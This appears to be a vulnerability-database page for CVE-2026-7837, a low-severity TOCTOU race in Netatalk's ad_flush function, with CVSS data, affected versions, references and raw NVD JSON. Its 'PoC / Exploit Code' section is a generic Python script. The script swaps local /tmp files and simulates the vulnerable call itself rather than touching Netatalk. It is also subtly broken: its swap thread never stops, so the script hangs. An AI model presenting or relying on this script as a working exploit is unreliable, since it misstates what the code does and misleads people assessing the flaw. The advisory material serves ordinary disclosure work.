CVE-2026-7837

Description

A time-of-check time-of-use (TOCTOU) condition in the ad_flush function in Netatalk 3.0.0 through 4.4.2 involves root-privileged file operations, which may allow a remote attacker to cause limited data modification under specific race conditions.

CVSS Details

CVSS Score

3.7

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Netatalk 3.0.0

Netatalk 3.0.1

Netatalk 3.1.0

Netatalk 3.1.1

Netatalk 3.1.2

Netatalk 3.1.3

Netatalk 3.1.4

Netatalk 3.1.5

Netatalk 3.1.6

Netatalk 3.1.7

Netatalk 3.1.8

Netatalk 3.1.9

Netatalk 3.1.10

Netatalk 3.1.11

Netatalk 3.1.12

Netatalk 4.0.0

Netatalk 4.0.1

Netatalk 4.1.0

Netatalk 4.1.1

Netatalk 4.1.2

Netatalk 4.1.3

Netatalk 4.2.0

Netatalk 4.2.1

Netatalk 4.2.2

Netatalk 4.2.3

Netatalk 4.3.0

Netatalk 4.3.1

Netatalk 4.3.2

Netatalk 4.4.0

Netatalk 4.4.1

Netatalk 4.4.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept Concept for CVE-2026-7837
# This script demonstrates the race condition concept.
# It attempts to swap a file between check and use.

import os
import time
import threading

TARGET_FILE = "/tmp/netatalk_test_file"
TEMP_FILE = "/tmp/evil_file"

def malicious_thread():
    """Thread to swap files rapidly"""
    while True:
        try:
            os.rename(TARGET_FILE, TEMP_FILE)
            os.rename(TEMP_FILE, TARGET_FILE)
        except OSError:
            pass

def trigger_vulnerable_function():
    """Simulate the ad_flush call"""
    # In a real scenario, this would be a network request to Netatalk
    # triggering the ad_flush() logic.
    print("Triggering vulnerable operation...")
    # Simulate check
    if os.path.exists(TARGET_FILE):
        # Small delay to widen the race window
        time.sleep(0.001) 
        # Simulate use (write operation)
        with open(TARGET_FILE, 'a') as f:
            f.write("data")

if __name__ == "__main__":
    # Setup files
    open(TARGET_FILE, 'w').close()
    open(TEMP_FILE, 'w').close()

    # Start race condition
    t = threading.Thread(target=malicious_thread)
    t.start()

    for _ in range(100):
        trigger_vulnerable_function()

    t.stop = True
    print("PoC execution finished.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7837
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7837
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7837/
[4] VulDB https://vuldb.com/cve/CVE-2026-7837
[5] https://netatalk.io/security/CVE-2026-7837

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-7837", "sourceIdentifier": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "published": "2026-05-21T09:16:30.803", "lastModified": "2026-05-21T15:20:19.040", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A time-of-check time-of-use (TOCTOU) condition in the ad_flush function in Netatalk 3.0.0 through 4.4.2 involves root-privileged file operations, which may allow a remote attacker to cause limited data modification under specific race conditions."}], "metrics": {"cvssMetricV31": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}]}], "references": [{"url": "https://netatalk.io/security/CVE-2026-7837", "source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c"}]}}